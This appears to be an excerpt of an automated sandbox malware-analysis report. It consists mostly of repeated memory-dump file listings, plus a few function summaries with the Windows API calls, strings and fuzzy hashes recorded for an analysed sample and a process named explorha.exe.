Associated: 00000000.00000002.2139672073.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139705017.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139739567.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139948652.0000000000D78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139999844.0000000000D79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140027266.0000000000D82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140054395.0000000000D89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140085216.0000000000D9D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140113187.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140140001.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140172034.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140204910.0000000000DCF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140231009.0000000000DD0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140258468.0000000000DD1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140285813.0000000000DD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140315634.0000000000DD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140343263.0000000000DDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140424909.0000000000DE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140455657.0000000000DE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140486195.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140525090.0000000000DEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140564438.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140592050.0000000000DFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140619769.0000000000DFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140646325.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140679440.0000000000E0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140781304.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140814517.0000000000E77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140846130.0000000000E78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140874259.0000000000E7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140902356.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140930718.0000000000E8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140958082.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 853a721ce2fe648d865a30a75f1a1362272e4078b836a4e21938d6083b1e74f0
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 95E08C32911228EBCB28DB88C904DAAF3ECEB48B10B110096F601D3200C3B0DF00C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 00BB8829 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00BB886B

Strings

.bat, xrefs: 00BB889A
.exe, xrefs: 00BB8878
.com, xrefs: 00BB88AB
.cmd, xrefs: 00BB8889

Memory Dump Source

Source File: 00000000.00000002.2139306429.0000000000B81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2139275672.0000000000B80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139306429.0000000000BE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139397496.0000000000BE9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139439197.0000000000BEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139472825.0000000000BF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139502103.0000000000BF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139530751.0000000000BF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139641535.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139672073.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139705017.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139739567.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139948652.0000000000D78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139999844.0000000000D79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140027266.0000000000D82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140054395.0000000000D89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140085216.0000000000D9D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140113187.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140140001.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140172034.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140204910.0000000000DCF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140231009.0000000000DD0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140258468.0000000000DD1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140285813.0000000000DD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140315634.0000000000DD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140343263.0000000000DDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140424909.0000000000DE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140455657.0000000000DE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140486195.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140525090.0000000000DEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140564438.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140592050.0000000000DFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140619769.0000000000DFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140646325.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140679440.0000000000E0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140781304.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140814517.0000000000E77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140846130.0000000000E78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140874259.0000000000E7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140902356.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140930718.0000000000E8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140958082.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: a5a757ab4249c1b823d79b006f25eb88b634771f80b439923f4b85943bf968f7
Instruction ID: 36cc1f5fafdac245c6703a2ecd5a9d4d338a5271674268a721ce7974f742ed3b
Opcode Fuzzy Hash: a5a757ab4249c1b823d79b006f25eb88b634771f80b439923f4b85943bf968f7
Instruction Fuzzy Hash: 0701C477A046262726142018AC026BB57DCDBC1BB072A00AEFC44F72D1FFD9DC02D594

Uniqueness

Uniqueness Score: -1.00%

Function 00B82DC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00B82E5F
__Mtx_unlock.LIBCPMT ref: 00B82ECC
__Cnd_broadcast.LIBCPMT ref: 00B82EE3
__Mtx_unlock.LIBCPMT ref: 00B82FF5
__Mtx_unlock.LIBCPMT ref: 00B8309B

Memory Dump Source

Source File: 00000000.00000002.2139306429.0000000000B81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2139275672.0000000000B80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139306429.0000000000BE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139397496.0000000000BE9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139439197.0000000000BEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139472825.0000000000BF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139502103.0000000000BF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139530751.0000000000BF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139641535.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139672073.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139705017.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139739567.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139948652.0000000000D78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139999844.0000000000D79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140027266.0000000000D82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140054395.0000000000D89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140085216.0000000000D9D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140113187.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140140001.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140172034.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140204910.0000000000DCF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140231009.0000000000DD0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140258468.0000000000DD1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140285813.0000000000DD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140315634.0000000000DD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140343263.0000000000DDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140424909.0000000000DE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140455657.0000000000DE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140486195.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140525090.0000000000DEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140564438.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140592050.0000000000DFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140619769.0000000000DFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140646325.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140679440.0000000000E0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140781304.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140814517.0000000000E77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140846130.0000000000E78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140874259.0000000000E7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140902356.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140930718.0000000000E8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140958082.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 2cc06a32e33adb1919f8e167e722532a6364983e34ddb7b07eaa73e744dad334
Instruction ID: e740f091366d2521abfda5865a244a81a1317f2ae7b10cc8fe65a2dc113ce43c
Opcode Fuzzy Hash: 2cc06a32e33adb1919f8e167e722532a6364983e34ddb7b07eaa73e744dad334
Instruction Fuzzy Hash: E9A1EF70A00206AFDF21EB69C944B5AB7F8FF15714F1481B9E915D72A2EB34EA04CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 00B9D202 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00B9D25A
__Xtime_diff_to_millis2.LIBCPMT ref: 00B9D274
_xtime_get.LIBCPMT ref: 00B9D297
__Xtime_diff_to_millis2.LIBCPMT ref: 00B9D2A3

Memory Dump Source

Source File: 00000000.00000002.2139306429.0000000000B81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2139275672.0000000000B80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139306429.0000000000BE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139397496.0000000000BE9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139439197.0000000000BEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139472825.0000000000BF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139502103.0000000000BF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139530751.0000000000BF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139641535.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139672073.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139705017.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139739567.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139948652.0000000000D78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139999844.0000000000D79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140027266.0000000000D82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140054395.0000000000D89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140085216.0000000000D9D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140113187.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140140001.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140172034.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140204910.0000000000DCF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140231009.0000000000DD0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140258468.0000000000DD1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140285813.0000000000DD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140315634.0000000000DD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140343263.0000000000DDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140424909.0000000000DE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140455657.0000000000DE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140486195.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140525090.0000000000DEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140564438.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140592050.0000000000DFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140619769.0000000000DFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140646325.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140679440.0000000000E0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140781304.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140814517.0000000000E77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140846130.0000000000E78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140874259.0000000000E7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140902356.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140930718.0000000000E8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140958082.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: b937c37c902d0a52ba7d0c9503ef2c458f1f8a0b8a238071bf32596a1cb99ef3
Instruction ID: 3257f617a6fce0bb3f5f41653168d4162cacd5492257e50c9ea788a20124b150
Opcode Fuzzy Hash: b937c37c902d0a52ba7d0c9503ef2c458f1f8a0b8a238071bf32596a1cb99ef3
Instruction Fuzzy Hash: 20213E75A002199FDF00EFA5DC819BEBBB8FF59714F1000A9FA01A7251DB749D019BA1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: explorha.exePID: 2428, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	0.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	698
Total number of Limit Nodes:	4

Executed Functions

Function 00737BBB Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00737BBA,?,?,?,?,?,00738C0E), ref: 00737BF6

Memory Dump Source

Source File: 00000002.00000002.2130672754.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.2130649596.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130672754.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130744577.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130767970.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130792007.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130815173.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130838465.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130944623.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130968284.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130992106.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131015605.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131088103.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131112645.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131137331.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131162505.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131193467.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131218609.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131242429.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131268887.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131300586.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131327253.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131350972.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131375198.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131401886.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131426997.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131452167.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131475821.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131500106.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131526562.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131553521.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131576497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131600115.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131626714.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131653420.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131676429.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131676429.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131750216.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131815918.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131876230.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131903531.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131929428.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131983084.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2132009698.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_explorha.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 7643514b589ef67b10c6670487b577ba6e4545282dd4a09f87b355fe6e48b6c7
Instruction ID: da78a9e1c2988654f7951ca5614683030952f7e5b040bb4e7f16f517186fb25e
Opcode Fuzzy Hash: 7643514b589ef67b10c6670487b577ba6e4545282dd4a09f87b355fe6e48b6c7
Instruction Fuzzy Hash: AFE08CB044A20CEAEE39BB58D854E987B6DEB52350F110814F9049AA22CB29FC42C981

Uniqueness

Uniqueness Score: -1.00%

Function 00709675 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0070A435
CreateMutexA.KERNELBASE(00000000,00000000,007651D8), ref: 0070A453

Memory Dump Source

Source File: 00000002.00000002.2130672754.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.2130649596.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130672754.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130744577.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130767970.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130792007.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130815173.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130838465.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130944623.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130968284.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130992106.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131015605.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131088103.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131112645.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131137331.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131162505.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
